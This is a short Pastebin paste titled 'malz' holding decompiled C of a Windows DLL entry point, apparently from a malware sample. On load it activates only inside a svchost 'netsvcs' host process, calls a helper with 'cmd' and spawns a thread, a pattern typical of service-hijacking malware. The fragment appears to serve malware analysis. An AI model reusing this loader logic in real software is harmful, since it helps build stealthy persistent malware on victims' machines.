Advertisement
Xylitol

malz

May 18th, 2011
546
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.56 KB | None | 0 0
  1. BOOL __stdcall DllEntryPoint(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID
  2. lpReserved)
  3. {
  4. char *v3; // eax@2
  5. char *v4; // eax@2
  6. BOOL result; // eax@2
  7. HANDLE v6; // eax@3
  8.  
  9. if ( fdwReason == 1 )
  10. {
  11. v3 = GetCommandLineA();
  12. v4 = strlwr(v3);
  13. result = (BOOL)strstr(v4, "netsvcs");
  14. if ( !result )
  15. return result;
  16. strncpy(pszPath, (const char *)lpReserved, 0x104u);
  17. PathRemoveFileSpecA(pszPath);
  18. sub_100016E4((int)hinstDLL, "cmd");
  19. v6 = CreateThread(0, 0, StartAddress, 0, 0, 0);
  20. CloseHandle(v6);
  21. }
  22. return 1;
  23. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement